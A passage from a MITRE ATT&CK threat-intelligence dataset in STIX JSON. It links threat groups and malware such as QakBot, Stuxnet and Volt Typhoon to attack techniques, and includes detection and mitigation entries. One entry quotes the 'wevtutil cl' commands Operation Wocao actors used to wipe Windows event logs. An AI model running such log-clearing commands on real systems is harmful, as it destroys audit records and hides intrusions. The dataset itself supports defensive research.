2017)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e342ee2b-d7b6-4a48-a689-06a68efe589e","type":"relationship","created":"2021-09-30T15:45:56.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:56.571Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can enumerate a list of installed programs.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e342f3ae-10f0-4740-937b-5cead8204d78","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e34a0e21-1db1-4c11-8e71-07bae802d8b9","created":"2024-03-04T19:05:49.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:11:16.941Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can download files to be saved on the compromised system.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e34de44b-fec4-40b2-978b-a0ee54f8fc0e","created":"2024-09-17T16:13:56.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:14:37.818Z","description":"[TA577](https://attack.mitre.org/groups/G1037) has sent emails containing links to malicious JavaScript files.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3540915-e2f8-4f99-8f81-57a566e9d115","type":"relationship","created":"2020-05-19T21:26:54.333Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.422Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used an MSI installer to install the virtualization software.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3542e4e-6c4d-468a-b11e-462e35dc33f6","type":"relationship","created":"2020-05-04T19:13:35.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOTCROISSANT February 2020","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d","description":"US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}],"modified":"2020-05-05T15:33:17.970Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host.(Citation: US-CERT HOTCROISSANT February 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3549420-15ec-4747-9988-7dfdbdb1e7d7","created":"2020-12-29T16:20:58.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:17:31.993Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) installs an RPC server for P2P communications.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e356237a-e0dc-4712-92ae-a99d6744871a","created":"2024-05-15T20:05:22.020Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:05:22.020Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used FOFA, Shodan, and Censys to search for exposed victim infrastructure.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e359da34-bc39-4e72-9db1-49aa5da6c8b4","created":"2022-09-29T20:48:50.446Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:48:50.446Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), attackers used VBS code to decode payloads.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e35a6a79-0ffc-4835-aaf8-e42dd20a7e45","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Patchwork","description":"Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.","url":"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"},{"source_name":"Unit 42 BackConfig May 2020","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T22:08:42.857Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to deliver files with exploits to initial victims.(Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e35f5636-2ae8-4ab7-9851-73410e6a58d0","type":"relationship","created":"2020-05-21T12:59:00.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T16:56:20.629Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used JPG files with encrypted payloads to mask their backdoor routines and evade detection.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3602962-691a-4a34-a49b-4682405da8ad","created":"2024-03-15T17:59:58.468Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T17:59:58.468Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) can store obfuscated configuration information in the last 56 bytes of the file `/date/.bd.key/preload.so`.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-28T21:45:04.577Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware creates a scheduled task entitled “IE Web Cache” to execute a malicious file hourly.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e367aefb-5784-4fd8-85ac-56afa3f9e504","type":"relationship","created":"2020-03-30T19:16:29.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-30T19:16:29.761Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e36a58ff-f436-41de-a5bb-ac9748f9ee38","created":"2022-09-27T16:30:44.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:11:34.142Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors deleted all Windows system and security event logs using `/Q /c wevtutil cl system` and `/Q /c wevtutil cl security`.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e36e7b1a-aa7b-4354-92d4-4373b9911b51","type":"relationship","created":"2020-10-20T03:37:41.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:50:44.248Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e36f147a-2893-4e01-869f-d149f2a3469d","created":"2022-04-13T12:50:56.056Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft DEV-0537","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor user accounts for new and suspicious device associations, such as those originating from unusual sources, occurring at unusual times, or following a suspicious login.(Citation: Microsoft DEV-0537) ","modified":"2022-04-18T13:10:09.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"JPCERT ChChes Feb 2017","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"}],"modified":"2020-03-30T18:49:40.323Z","description":"[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 traffic with AES or RC4.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e37c2e11-8b96-4a9a-bc94-2995f54135dd","type":"relationship","created":"2020-03-11T14:43:31.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:43:31.826Z","description":"If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e37d3456-b3a0-4502-b502-a505f383cb4c","type":"relationship","created":"2021-08-18T20:26:22.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.829Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has archived victim's data prior to exfiltration.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e3831a8a-1713-49d3-a464-14437d213c3e","created":"2022-08-26T21:56:54.654Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has used PowerShell to execute its payload.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-26T21:56:54.654Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3837dfd-a3c3-43d2-8f37-014c0bc03aa4","type":"relationship","created":"2020-01-24T14:21:52.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T16:50:36.385Z","description":"Enforce that all binaries be signed by the correct Apple Developer IDs.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e3853acc-d1c3-4ca9-ae6d-c53e01de1c4b","created":"2022-03-30T14:26:51.841Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected deletion of a cloud storage infrastructure, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket. Many of these events within a short period of time may indicate malicious activity.","modified":"2022-04-14T15:08:21.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3864ffa-3348-4791-b979-7d8b2e2151cc","type":"relationship","created":"2020-05-18T17:31:39.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.454Z","description":"[Maze](https://attack.mitre.org/software/S0449) has decrypted strings and other important information during the encryption process. [Maze](https://attack.mitre.org/software/S0449) also calls certain functions dynamically to hinder analysis.(Citation: McAfee Maze March 2020)\t","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e38d9f5e-70bd-40ed-8164-565caab36b65","created":"2024-09-06T21:59:18.408Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:59:18.408Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used WMI execution with password hashes for command execution and lateral movement.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.671Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e38f9a94-155a-485c-bed6-c745b07a54d9","created":"2024-06-10T19:10:20.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 